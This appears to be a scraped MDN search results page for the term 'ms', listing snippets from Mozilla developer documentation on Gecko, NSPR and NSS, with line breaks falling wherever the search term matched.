...2fiynjfyd%2f1%2brvq7ffu3dpfpsbaaheahibcj85c8bn2nj4vwsdw%2f8zqlwkio8ccroqu0dxqlwrdshuwzbaaigjmtnnpgya9j8uqhfelwpxf2mideirksn9fwsjorkaeeam0dd4dzmaypi%2fg%2bqky4hh5waxgf8pdq0fgwj22d27cjadaaiirlmjo%2bmxa9r2kahvgba2wwx6b8w7od6ceqcggkcmcel8bgwxycbuigtdvkhdbia%2bcuotgaccued3tdqn75d4xmavcok9armhbzaw0aecibhkalc0mdy7x9abna3obazxiaa6ikecglmvqhwwyjyul2d4v2cpg8vzswx7ghyaaak7aoif7saboqcmn4ha3ahfsidtgpq%2fvlz8p4
mskj2w9h8ggbjevxvhdo4fquqg%2fkdypqcg4h8luiacnq%2fsobmyi8basajfpcj1aaeejwvqqlpabxmh5bjjqi0gi9dtaagdbbccavlkgmq7ykczxpcqxquzhaeccj4xgml493ug21zd%2badaxh0wlm4a9mzpxjkjiiawtar5pqmalacabquulttbgccagcnnzgabbgamj5thwgvjlaaaaabjru5erkjggg%3d%3d</image> <url type="text/html" method="get" template="http://developer.mozilla.org/en/docs/special:search?search={searchter
ms}"/> <searchform>http://developer.mozilla...
Creating a Login Manager storage module
sampleloginmanager: " + message + "\n"); this._logservice.logstringmessage("sampleloginmanager: " + message); }, // logs function name and arguments for debugging stub: function(arguments) { var args = []; for (let i = 0; i < arguments.length; i++) args.push(arguments[i]) this.log("called " + arguments.callee.name + "(" + args.join(",") + ")"); }, init: function sl
ms_init() { this.stub(arguments); }, initwithfile: function sl
ms_initwithfile(ainputfile, aoutputfile) { this.stub(arguments); }, addlogin: function sl
ms_addlogin(login) { this.stub(arguments); }, removelogin: function sl
ms_removelogin(login) { this.stub(arguments); }, modifylogin: function sl
ms_modifylogin(oldlogin, newlogin) { this.stub(arguments); }, getall...
...logins: function sl
ms_getalllogins(count) { this.stub(arguments); }, removealllogins: function sl
ms_removealllogins() { this.stub(arguments); }, getalldisabledhosts: function sl
ms_getalldisabledhosts(count) { this.stub(arguments); }, getloginsavingenabled: function sl
ms_getloginsavingenabled(hostname) { this.stub(arguments); }, setloginsavingenabled: function sl
ms_setloginsavingenabled(hostname, enabled) { this.stub(arguments); }, findlogins: function sl
ms_findlogins(count, hostname, for
msubmiturl, httprealm) { this.stub(arguments); }, countlogins: function sl
ms_countlogins(ahostname, afor
msubmiturl, ahttprealm) { this.stub(arguments); } }; function nsgetmodule(compmgr, filespec) xpcomutils.generatemodule([sampleloginmanagerstorage]); ...
Capturing a minidump
if firefox is not already running, then open windbg from the start menu (start->all progra
ms->debugging tools for windows->windbg).
... if firefox is already running, open windbg from the start menu (start->all progra
ms->debugging tools for windows->windbg).
Debugging
debugging update proble
ms learn how to debug update proble
ms in mozilla-based applications.
... related topics performance and profiling troubleshooting performance proble
ms.
Makefile - variables
simple_progra
ms suppress_default_rules inhibit processing of makefile tier targets/directory processing will be unordered.
... host_ variable description host_c
msrcs a list of .m sources to compile host_cm
msrcs a list of .mm sources to compile host_objs host_os_arch arch of real platform a target platform is being built on(building mobile binaries on gnu/linux).
pymake
on other operating syste
ms (linux, os x, etc), pymake itself only requires python 2.6 or higher (but not python 3).
...c:/foo/bar) rather than an
msys-style (i.e.
Eclipse CDT Manual Setup
add "exclude all" filters for any other non-source directories that you've added to your source tree (e.g., xcode or
msvc project directories).
...if indexing started automatically (see the progress tab), cancel it, since there see
ms to be a bug that makes it give bad results when it starts automatically at this stage.
Gecko Logging
example usage code sample #include "mozilla/logging.h" using mozilla::loglevel; static mozilla::lazylogmodule slogger("example_logger"); static void dostuff() { moz_log(slogger, loglevel::info, ("doing stuff.")); int i = 0; int start = time::now
ms(); moz_log(slogger, loglevel::debug, ("starting loop.")); while (i++ < 10) { moz_log(slogger, loglevel::verbose, ("i = %d", i)); } // only calculate the elapsed time if the warning level is enabled.
... if (moz_log_test(slogger, loglevel::warning)) { int elapsed = time::now
ms() - start; if (elapsed > 1000) { moz_log(slogger, loglevel::warning, ("loop took %d
ms!", elapsed)); } } if (i != 10) { moz_log(slogger, loglevel::error, ("i should be 10!")); } } enabling logging the log level for a module is controlled by setting an environment variable before launching the application.
Error codes returned by Mozilla APIs
ns_error_dom_do
mstring_size_err (0x80530002) an attempt was made to create a string larger than is supported.
...or_no_dom_node_specified (0x80640002) ns_error_schemavalidator_no_type_found (0x80640003) ns_error_schemavalidator_type_not_found (0x80640004) note: there are other errors in these files: gfx/public/nsidevicecontext.h base/public/nsneterror.h parser/htmlparser/public/nsiparser.h layout/base/nslayouterrors.h profile/public/nsiprofileinternal.idl security/manager/ssl/public/nsic
msmessageerrors.idl directory/xpcom/base/public/nsildaperrors.idl content/base/public/nscontenterrors.h see also mozilla error lookup lets you quickly look up the error name by its code in different formats.
Multiple Firefox profiles
creating a profile creating a profile through the profile manager these instructions should be the same for all operating syste
ms.
... windows in windows, the developer and nightly builds get their own directory in the "progra
ms" folder, so you don't have to worry about where to store the downloaded files.
Limitations of frame scripts
frame scripts run with system privileges and have access to the components object, enabling them to use xpcom objects and js
ms.
... javascript code modules (js
ms) in multiprocess firefox, a jsm loaded into the content process does not share any state with the same jsm loaded into the chrome process.
Frame script loading and lifetime
for example, from bootstrap.js: services.mm.addmessagelistener( 'my-addon-id', { receivemessage: function() { console.log('incoming message from frame script:', a
msg.data); } }, true // must set this argument to true, otherwise sending message from framescript will not work during and after the unload event on the contentmessagemanager triggers ); then in your frame script, listen for the unload event of the message manager (which is the global this), and sending a message.
...you need to send a message to your frame scripts, telling them to disable the
mselves; for example, by undoing any changes they've made or removing any event listeners.
Limitations of frame scripts
frame scripts run with system privileges and have access to the components object, enabling them to use xpcom objects and js
ms.
... javascript code modules (js
ms) in multiprocess firefox, a jsm loaded into the content process does not share any state with the same jsm loaded into the chrome process.
Message manager overview
the diagram below shows the setup that would result from having two child processes: with the gppmm, you can broadcast messages to the cipmm and all cpm
ms.
... messages sent using the gppmm get sent to all cpm
ms in all child processes.
Performance
under some circu
mstances it may even cause exceptions when attempting to register something twice under the same id.
...resources://my-addon/framescript.js"); services.ppmm.removedelayedprocessscript("resources://my-addon/processcript.js"); services.mm.broadcastasyncmessage("my-addon:unload"); services.ppmm.broadcastasyncmessage("my-addon:unload"); } in the frame/process scripts: remove all kinds of listeners remove observer notifications remove custom categories and services nuke sandboxes unload js
ms restore content dom states where necessary, e.g.
Security best practices for Firefox front-end engineers
we use our built-in sanitizer with the following flags: sanitizerallowstyle sanitizerallowcomments sanitizerdropfor
ms sanitizerlogremovals the sanitizer removes all scripts (script tags, event handlers) and form elements (form, input, keygen, option, optgroup, select, button, datalist).
... the last flag ensures that developers will identify and avoid the proble
ms early on in the development cycle and before shipping the code.
Firefox
firefox is mozilla's popular web browser, available for multiple platfor
ms including windows, macos, and linux on the desktop and all android and ios mobile devices.
...you can find details about profiles on mozilla's end-user support site.performance best practices for firefox front-end engineersthis guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in ter
ms of its impact on other parts of firefox.
mozbrowsererror
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... detail the detail property returns an anonymous javascript object with the following properties: type a do
mstring representing the type of error that occurred.
mozbrowserfindchange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: active a boolean indicating whether a search is currently active (true), or not (false.) searchstring a do
mstring representing the string that is currently being searched for.
mozbrowserloadend
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... detail the detail property returns an anonymous javascript object with the following properties: backgroundcolor a do
mstring representing the main background color of the browser <iframe> content, expressed as an rgb value.
mozbrowserlocationchange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... detail the detail property returns an anonymous javascript object with the following properties: url a do
mstring representing the url of the new location.
mozbrowseropentab
a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: url a do
mstring representing the url of the new document loaded.
mozbrowserscrollviewchange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: state a do
mstring representing the current state of scrolling in the viewport — available values are started and stopped.
MozBeforePaint
this is intentional, because modern operating syste
ms and hardware won't let the browser display more frames than that anyway.
... example this example perfor
ms a simple animation, moving a box a short distance after a short period of time.
Gecko Chrome
chrome-only api referencethis page lists apis that only run in gecko chrome code (and sometimes in other privileged circu
mstances.)chrome-only css referencethis page lists css properties that are only available in gecko chrome code (and sometimes in other privileged circu
mstances, eg.
... ua stylesheets.) chrome-only events referencethis page lists events that are only available in gecko chrome code (and sometimes in other privileged circu
mstances, eg.
Overview of Mozilla embedding APIs
do_queryreferent this function is the equivilent of do_queryinterface except that it perfor
ms the qi through a weak reference.
...on most platfor
ms this involves displaying a native print dialog box.
Embedding Tips
how do i copy ite
ms to the clipboard?
... nscomptr<nsicommandmanager> commandmanager = do_getinterface(iwebbrowser); if (commandmanager) { nscomptr<nsidomwindow> thedomwindow = do_getinterface(iwebbrowser); nscomptr<nsicommandpara
ms> cmdpara
msobj = do_createinstance(ns_command_para
ms_contractid,&rv); cmdpara
msobj->setisupportsvalue("addhook", reinterpret_cast<nsisupports*>(ichromeimplementation)); commandmanager->docommand("cmd_clipboarddragdrophook", cmdpara
msobj, thedomwindow); } ...
Getting from Content to Layout
"frame construction ite
ms" are queued for each change.
... these ite
ms are then examined in relation to the location in the content tree that is being modified and either the relevant frames are created/destroyed or the logic moves up to the parent frame.
How to add a build-time test
note that the following variables are supplied by the rules.mk file: cppsrcs, simple_progra
ms, run_test_program.
...(example to run the testcookie program) in the test program: if the test fails, exit with a non-zero status and/or print the string "fail" to stdout if the test passes, exit with a zero status and don't print the string "fail" (bonus points for printing "pass" :) ) write the test so that you expect it to pass on all platfor
ms, since if the test fails, the tree will go orange (once we've set this up - see bug 352240 for status).
Integrated Authentication
instead, it leverages system libraries that provide spnego; sspi on microsoft windows, and gss-api on linux, mac osx, and other unix-like syste
ms.
...this is mainly due to the fact that ntl
mssp does not provide a means to negotiate use of ntlmv2/lmv2.
NetUtil.jsm
methods asynccopy() the asynccopy() method perfor
ms a simple asynchronous copy of data from a source input stream to a destination output stream.
... both strea
ms are automatically closed when the copy operation is completed.
Examples
urn promise.resolve('yay success'); // this makes the success function trigger with asuccessreason being 'yay success' but because i commented out the var 2 lines above, it will error out on the throw and never get to this success line becuase i throw an error on the line before this } catch(ex) { return promise.reject(ex); } } in this example even though the variable is defined, the proi
mse is rejected because i threw an error.
... the case of unhandled rejections one of the difficult proble
ms with promises is locating uncaught rejections.
Services.jsm
nsole nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessagesender child process message manager4 crashmanager crashmanager.jsm dirsvc nsidirectoryservice nsiproperties directory service do
mstoragemanager nsido
mstoragemanager dom storage manager domrequest nsidomrequestservice domrequest service downloads nsidownloadmanager download manager droppedlinkhandler nsidroppedlinkhandler dropped link handler service els nsieventlistenerservice event listener service etld nsieffectivetldservice effectivetld servi...
...er focus manager io nsiioservice nsiioservice2 i/o service locale nsilocaleservice locale service logins nsiloginmanager password manager service metro nsiwinmetroutils 2 mm nsimessagebroadcaster nsiframescriptloader global frame message manager3 obs nsiobserverservice observer service per
ms nsipermissionmanager permission manager service ppmm nsimessagebroadcaster nsiprocessscriptloader global parent process message manager3 prefs nsiprefbranch nsiprefbranch2 nsiprefservice preferences service prompt nsipromptservice prompt service scriptloader mozijssubscriptloader javascript subscript loader service ...
Localizing extension metadata on addons.mozilla.org
you can already request for amo fields localization on the foru
ms, and these fields will be added soon to the web translation system.
...the reward is up to you, but $5-10 per translation see
ms to work well.
Localizing with Pontoon
only the toolbar on top belongs to pontoon, containing the following ite
ms (from left to right): list of strings opens a sidebar with a list of all strings to localize.
...the contents of the <title> tag in websites and strings with placeables or different plural for
ms.
MathML Demo: <mfrac> - fractions
and this is an example where the bevelled attribute is set inside the radical y 2 - t 2 1 ( 1 + | y 2 - t 2 | 2 ) and this shows a combination with a background image at a desired opacity mathml background image html content <div class="background"></div> <math display="block"> <mrow> <
msub> <mi>z</mi> <mi>α</mi> </
msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>α</mi> <mi>π</mi> </mrow> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> </mfrac> <mrow> <
msub> <mo>∫</mo> <mi>c</mi> </
msub> <mfrac> <mrow> <mi>f</mi> <mo stretchy='false'>(</mo> <m...
...i>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <
msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </
msup> </mrow> <mrow> <
msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </
msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
MathML Demo: <mmultiscripts> - attach prescripts and tensor indices to a base
there are some variations possible: <mmultiscripts> a a b c d , nested <
msubsup>s a a b c d , or &invisiblecomma; a a c b d .
...for example m c d a b the scripts come in pairs, with <mprescripts/> used to indicate prescripts and <none/> used to hold an empty position as in f b a there are some variations possible: <mmultiscripts> a a b c d nested <
msubsup>s a a b c d or &invisiblecomma; a a c b d ...
Mozilla MathML Project
updates status of each tag result of the mathml 3 testsuite unofficial nightly builds with mathml patches applied (maintained by bill gianopoulos) more updates and archived content community view mozilla foru
ms...
... demo of some mathml tags: mfrac, mo, mtable,
mspace, mmultiscripts,
msqrt-mroot.
Mozilla Port Blocking
potential proble
ms caused by port blocking port blocking can cause proble
ms if a site or web application requires access to one of the ports which is blocked in mozilla.
...additionaly administrators can edit the all.js file (for multi-user syste
ms with pref(…) ) in the defaults/pref/ sub-directory in the installation directory.
Investigating leaks using DMD heap scan mode
secondly, you may need to comment out the call to moz_crash("nss_shutdown failed"); in xpcom/build/xpcominit.cpp, as this also see
ms to trigger when shutdown is extremely slow.
...that gave a result that contained this: 0x7f0882fe3230 [fragmentorelement (xhtml) script [...] --[mnodeinfo]--> 0x7f0897431f00 [nodeinfo (xhtml) script] [...] --[mloadingasyncrequests]--> 0x7f0892f29630 [scriptloadrequest] this confir
ms that this block is actually a scriptloadrequest.
DMD
some platfor
ms (linux, mac, android) require stack fixing, which adds missing filename, function name and line number information.
...for a heap scan log, this perfor
ms a conservative pointer analysis on the contents of each block, changing any value that is a pointer into the middle of a live block into a pointer to the start of that block.
JS::PerfMeasurement
note: at present, js::perfmeasurement is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating syste
ms.
... we also can't guarantee that all platfor
ms will support all event types, once we have more than one back end for this interface.
Reporting a Performance Problem
if you choose custom settings (and then clicking edit settings) for the profiler, you can adjust the size of the buffer (presently defaults to 90 mb) and the time interval between data collection (presently defaults to 1
ms).
...you can see which of these addons are causing proble
ms by adding the "moz-extension" filter.
turbostat
invocation turbostat must be invoked as the super-user: sudo turbostat if you get an error saying "turbostat: no /dev/cpu/0/
msr", you need to run the following command: sudo modprobe
msr the output is as follows: core cpu avg_mhz %busy bzy_mhz tsc_mhz smi cpu%c1 cpu%c3 cpu%c6 cpu%c7 coretmp pkgtmp pkg%pc2 pkg%pc3 pkg%pc6 pkg%pc7 pkgwatt corwatt gfxwatt - - 799 21.63 3694 3398 0 12.02 3.16 1.71 61.48 49 49 0.00 0.00 0.00 0.00 22.68 15...
...the various "watt" measurements come from the intel rapl
msrs.
MailNews automated testing
this page and its sub-pages describe (and link to) the available test mechanis
ms within mailnews, and provide supporting information for developers and testers.
... enhanced logging: supports generating rich json strea
ms to disk or over the network for consumption by logsploder or other tools.
Creating a Cookie Log
creating a cookie log is often necessary to troubleshoot proble
ms with firefox's cookie handling.
... enabling cookie logging windows open a command prompt (this is under progra
ms or progra
ms/accessories in normal installations of windows).
I/O Functions
some file syste
ms also differentiate drives or volumes.
... two new functions, pr_transmitfile and pr_acceptread, can exploit the new system calls of some operating syste
ms for higher performance.
PRExplodedTime
syntax #include <prtime.h> typedef struct prexplodedtime { print32 tm_usec; print32 tm_sec; print32 tm_min; print32 tm_hour; print32 tm_mday; print32 tm_month; print16 tm_year; print8 tm_wday; print16 tm_yday; prtimeparameters tm_para
ms; } prexplodedtime; description the prexplodedtime structure represents clock/calendar time.
... tm_para
ms: a prtimeparameters structure representing the local time zone information.
PRThreadScope
however, on syste
ms that require nspr to make a distinction between global and local threads, global threads are invariably required to do any form of i/o.
... on syste
ms that don't make a distinction between local and global threads, nspr silently ignores the scheduling request.
PR_ExplodeTime
syntax #include <prtime.h> void pr_explodetime( prtime usecs, prtimeparamfn para
ms, prexplodedtime *exploded); parameters the function has these parameters: usecs an absolute time in the prtime format.
... para
ms a time parameter callback function.
PR ImportTCPSocket
on posix syste
ms, this is an int.
... for example, on posix syste
ms, nspr will put the native file descriptor (an int) in non-blocking mode by calling fcntl to set the o_nonblock file status flag on the native file descriptor, and then nspr will call socket functions such as recv, send, and poll on the native file descriptor.
PR_Initialize
this approach confor
ms to standard c programming practice.
...this approach confor
ms to standard c programming practice.
PR_MkDir
caveat: the mode parameter is currently applicable only on unix platfor
ms.
... it may be applicable to other platfor
ms in the future.
PR_NewUDPSocket
udp datagra
ms may be lost or delivered in duplicates or out of sequence.
...datagra
ms can be sent with pr_sendto and received with pr_recvfrom.
PR_Open
this feature is currently only applicable on unix platfor
ms.
... it is ignored by any other platform but it may apply to other platfor
ms in the future.
PR_OpenAnonFileMap
on unix platfor
ms, pr_openanonfilemap uses dirname as a directory name, without the trailing '/', to contain the anonymous file.
... on windows platfor
ms, dirname is ignored.
Process Management and Interprocess Communication
a new process can inherit specified file descriptors from its parent, and the parent can redirect the standard i/o strea
ms of the child process to specified file descriptors.
... note that the functions described in this chapter are not available for macos or win16 operating syste
ms.
Cryptography functions
object mxr 3.9.2 and later pk11_getnextsafe mxr 3.4 and later pk11_getnextsymkey mxr 3.4 and later pk11_getpadmechanism mxr 3.4 and later pk11_getpbecryptomechanism mxr 3.12 and later pk11_getpbeiv mxr 3.6 and later pk11_getpqgpara
msfromprivatekey mxr 3.4 and later pk11_getprevgenericobject mxr 3.9.2 and later pk11_getprivatekeynickname mxr 3.4 and later pk11_getprivatemoduluslen mxr 3.2 and later pk11_getpublickeynickname mxr 3.4 and later pk11_getslotfromkey mxr 3.2 and late...
... seckey_createdhprivatekey mxr 3.3 and later seckey_createecprivatekey mxr 3.8 and later seckey_createsubjectpublickeyinfo mxr 3.2 and later seckey_decodedersubjectpublickeyinfo mxr 3.4 and later seckey_destroyprivatekey mxr 3.2 and later seckey_ecpara
mstobasepointorderlen mxr 3.12 and later seckey_ecpara
mstokeysize mxr 3.12 and later seckey_destroypublickeylist mxr 3.4 and later seckey_destroysubjectpublickeyinfo mxr 3.2 and later seckey_getpublickeytype mxr 3.3 and later seckey_publickeystrengthinbits ...
Getting Started With NSS
how to get involved with nss network security services (nss) is a base library for cryptographic algorith
ms and secure network protocols used by mozilla software.
... some ite
ms that will be evaluated during code review are listed in checklist form on github.
4.3.1 Release Notes
this will cause progra
ms that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf.
...you can also give feedback directly to the developers on the mozilla cryptography foru
ms...
Build instructions for JSS 4.3.x
note, on windows platfor
ms it is best to have java_home set to a directory path that doest not have spaces.
... unix setenv java_home /usr/local/jdk1.5.0 (or wherever your jdk is installed) windows set java_home=c:\progra
ms\jdk1.5.0 (or wherever your jdk is installed) windows (cygnus) java_home=/cygdrive/c/progra
ms/jdk1.5.0 (or wherever your jdk is installed) export java_home windows build configurations winnt vs win95 as of nss 3.15.4, nspr/nss/jss build generates a "win95" configuration by default on windows.
NSS Key Log Format
key logs can be written by nss so that external progra
ms can decrypt tls connections.
...it has been superseded by client_random which also works with other key-agreement algorith
ms (such as those based on diffie-hellman) and is supported since wireshark 1.8.0.
NSS_3.12.2_release_notes.html
the tar.gz or zip file expands to an nss-3.12.2 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin< - nss tools and test progra
ms you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12.2 requires.
... bug 200704: pkcs11: invalid session handle 0 bug 205434: fully implement new libpkix cert verification api from bug 294531 bug 302670: use the installed libz.so where available bug 305693: shlibsign generates pqg for every run bug 311483: exposing includecertchain as a parameter to sec_pkcs12addcertandkey bug 390527: get rid of pkixerror
msg variable in pkix_error bug 391560: libpkix does not consistently return pkix_validatenode tree that truly represent failure reasons bug 408260: certutil usage doesn't give enough information about trust arguments bug 412311: replace pr_interval_no_wait with pr_interval_no_timeout in client initialization calls bug 423839: add multiple pkcs#11 token password command line option to nss too...
NSS 3.14.1 release notes
applications which use multiple pkcs#11 modules, which do not indicate which tokens should be used by default for particular algorith
ms, and which do make use of cipherorder may now find that cryptographic operations occur on a different pkcs#11 token.
...in previous versions of nss, these algorith
ms would be handled by the most recently added pkcs#11 token that supported them.
NSS 3.15.1 release notes
ssl_signature_algorith
ms_xtn - a new value in the sslextensiontype enum type.
... new pkcs #11 mechanis
ms none.
NSS 3.22 release notes
enforce an external policy on nss from a config file (bug 1009429) you can now add a config= line to pkcs11.txt (assuming you are using sql databases), which will force nss to restrict the application to certain cryptographic algorith
ms and protocols.
... the ck_rsa_pkcs_pss mechanism takes a parameter of type ck_rsa_pkcs_pss_para
ms.
NSS 3.24 release notes
ite
ms allocated from the arena are still created on the heap, only the arena itself is stack-allocated.
... add a shared library (libfreeblpriv3) on linux platfor
ms that define freebl_lowhash.
NSS 3.25.1 release notes
notable changes in nss 3.25.1 md5 signature algorith
ms sent by the server in certificaterequest messages are now properly ignored.
... bugs fixed in nss 3.25.1 the following bug has been fixed in nss 3.25.1: ignore md5 signature algorith
ms in certificate requests compatibility nss 3.25.1 shared libraries are backwards compatible with all older nss 3.x shared libraries.
NSS 3.26.2 release notes
notable changes in nss 3.26.2 md5 signature algorith
ms sent by the server in certificaterequest messages are now properly ignored.
... bugs fixed in nss 3.26.2 the following bug has been fixed in nss 3.26.2: ignore md5 signature algorith
ms in certificate requests compatibility nss 3.26.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.28.3 release notes
ecpara
ms, which is part of the public api of the freebl/softokn parts of nss, had been changed to include an additional attribute.
... that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecpara
ms.
NSS 3.29.1 release notes
ecpara
ms, which is part of the public api of the freebl/softokn parts of nss, had been changed to include an additional attribute.
... that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecpara
ms.
NSS 3.39 release notes
added the nss-policy-check utility, which can be used to check an nss policy configuration for proble
ms.
... the following ca certificates were added: ou = globalsign root ca - r6 sha-256 fingerprint: 2cabeafe37d06ca22aba7391c0033d25982952c453647349763a3ab5ad6ccf69 cn = oiste wisekey global root gc ca sha-256 fingerprint: 8560f91c3624daba9570b5fea0dbe36ff11a8323be9486854fb3f34a5571198d the following ca certificate was removed: cn = co
msign sha-256 fingerprint: ae4457b40d9eda96677b0d3c92d57b5177abd7ac1037958356d1e094518be5f2 the following ca certificates had the websites trust bit disabled: cn = certplus root ca g1 sha-256 fingerprint: 152a402bfcdf2cd548054d2275b39c7fca3ec0978078b0f0ea76e561a6c7433e cn = certplus root ca g2 sha-256 fingerprint: 6cc05041e6445e74696c4cf...
NSS 3.47 release notes
bug 1542207 - limit policy check on signature algorith
ms to known algorith
ms bug 1560329 - drbg: add continuous self-test on entropy source bug 1579290 - asan builds should disable lsan while building bug 1385061 - build nspr tests with nss make; add gyp parameters to build/run nspr tests bug 1577359 - build atob and btoa for thunderbird bug 1579036 - confusing error when trying to export non-existent cert with pk12util bug 1578626 - [cid 1453375...
... bug 1578751 - ensure a consistent style for pk11_find_certs_unittest.cc bug 1570501 - add cmac to freebl and pkcs #11 libraries bug 657379 - nss uses the wrong oid for signaturealgorithm field of signerinfo in c
ms for dsa and ecdsa bug 1576664 - remove -m
ms-bitfields from mingw nss build.
NSS 3.53 release notes
algorith
ms marked as deprecated will ultimately be removed.
... bugs fixed in nss 3.53 bug 1640260 - initialize pbe para
ms (asan fix) bug 1618404 - set cka_nss_server_distrust_after for symantec root certs bug 1621159 - set cka_nss_server_distrust_after for consorci aoc, grca, and sk id root certs bug 1629414 - ppc64: correct compilation error between vmx vs.
NSS Sample Code Sample_1_Hashing
sample code 1 /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorith
ms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* * maps a hash name to a secoidtag.
...f (htype != (hash_algtotal - 1)) fprintf(stderr, ", "); } fprintf(stderr, " (case ignored))\n"); fprintf(stderr, "%-20s define an input file to use (default is stdin)\n", "< input"); fprintf(stderr, "%-20s define an output file to use (default is stdout)\n", "> output"); exit(-1); } /* * check for the missing arguments */ static void print
msgandexit(const char *progname, char opt) { fprintf(stderr, "%s: option -%c requires an argument\n", progname, opt); usage(progname); } #define require_arg(opt,value) if (!(value)) print
msgandexit(progname, opt) /* * digests a file according to the specified algorithm.
NSS Sample Code sample2
* note that some mechanis
ms (*_pad) imply the padding is handled for you * by nss.
...for * des ops, internal slot is typically the best slot */ if (slot == null) { fprintf(stderr, "unable to find security device (err %d)\n", pr_geterror()); goto out; } /* nss passes blobs around as secite
ms.
Utilities for nss samples
util.h /* this source code form is subject to the ter
ms of the mozilla public * license, v.
...etoitem(secitem *dst, prfiledesc *src); /* * seedfromnoisefile */ extern secstatus seedfromnoisefile(const char *noisefilename); /* * filesize */ extern long filesize(const char* filename); /* * readderfromfile */ extern secstatus readderfromfile(secitem *der, const char *infilename, prbool ascii); #endif /* _util_h */ util.c /* this source code form is subject to the ter
ms of the mozilla public * license, v.
sample1
/* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> #include <prprf.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorith
ms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* maps a hash name to a secoidtag.
... (hash_algtotal - 1)) fprintf(stderr, ", "); } fprintf(stderr, " (case ignored))\n"); fprintf(stderr, "%-20s define an input file to use (default is stdin)\n", "< input"); fprintf(stderr, "%-20s define an output file to use (default is stdout)\n", "> output"); exit(-1); } /* check for the missing arguments */ static void print
msgandexit(const char *progname, char opt) { fprintf(stderr, "%s: option -%c requires an argument\n", progname, opt); usage(progname); } #define require_arg(opt,value) if (!(value)) print
msgandexit(progname, opt) /* digests a file according to the specified algorithm.
nss tech note6
the following applies to nss 3.11 : the low-level freebl cryptographic code has been separated from softoken on all platfor
ms.
... even on platfor
ms for which there is only one implementation of freebl, there is now a separate freebl shared library.
FIPS mode of operation
perfor
ms pair-wise consistency test.
... fc_wrapkey: rsa key wrapping fc_unwrapkey: rsa key wrapping fc_derivekey: diffie-hellman, ec diffie-hellman random number generation functions fc_seedrandom fc_generaterandom: perfor
ms continuous random number generator test.
sslerr.html
ssl_error_no_cypher_overlap -12286 "cannot communicate securely with peer: no common encryption algorithm(s)." the local and remote syste
ms share no cipher suites in common.
...authorized_response -8062 "the signer of the ocsp response is not authorized to give status for this certificate." sec_error_ocsp_future_response -8061 "the ocsp response is not yet valid (contains a date in the future)." sec_error_ocsp_old_response -8060 "the ocsp response contains out-of-date information." sec_error_digest_not_found -8059 "the c
ms or pkcs #7 digest was not found in signed message." sec_error_unsupported_message_type -8058 "the c
ms or pkcs #7 message type is unsupported." sec_error_module_stuck -8057 "pkcs #11 module could not be removed because it is still in use." sec_error_bad_template -8056 "could not decode asn.1 data.
sslintro.html
sets up configuration files and perfor
ms other tasks required to run network security services.
... functions used by callbacks an ssl application typically provides one or more callback functions that are called by the ssl or pkcs #11 library code under certain circu
mstances.
ssltyp.html
if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe proble
ms.
